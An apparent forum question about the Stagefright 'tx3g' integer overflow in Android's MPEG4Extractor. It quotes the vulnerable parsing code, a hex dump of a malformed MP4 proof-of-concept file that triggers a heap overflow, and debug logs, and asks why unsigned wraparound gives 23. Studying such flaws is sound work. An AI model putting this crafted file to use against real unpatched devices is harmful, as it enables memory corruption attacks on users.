I am trying to understand how "Integer Overflow" happens here and how it works.
The vulnerability exists in the chunk of “tx3g”. Chunk_size is the unit which overflows the sum of size. That's to say, the memory assigned is less than the size. Thus the memcpy function will cause heap overflow.
case FOURCC('t', 'x', '3', 'g'):
{
uint32_t type;
const void *data;
size_t size = 0;
if (!mLastTrack->meta->findData(
kKeyTextFormatData, &type, &data, &size)) {
size = 0;
}
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
if (size > 0) {
memcpy(buffer, data, size); // <---- Oh dear.
}
if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
< chunk_size) {
delete[] buffer;
buffer = NULL;
return ERROR_IO;
}
mLastTrack->meta->setData(
kKeyTextFormatData, 0, buffer, size + chunk_size);
delete[] buffer;
*offset += chunk_size;
break;
}
Note that chunk_size is a uint64_t that is parsed from the file; it’s completely controlled by the attacker and is not validated with regards to the remaining data available in the file.
If we try to exploit it with such a MP4 file:
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001 ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018 isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141 tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242 ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
0000060: 4242 4242 BBBB
This should happen while debugging:
MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)
Here is my question:
If I set the Chunk size to 0xffffffffffffffff
, why is it being interpreted as "-1", so in this code "24-1", so "23" in this code:
uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
I see it here in debug:
MPEG4Extractor: tx3g: new[23] (0xb6048130)
and not "24+18446744073709551615", which I think should result in "0"?
Maybe I didn't explain it well enough or have some thinking error, here is the link to original blog entry explaining this Integer Overflow.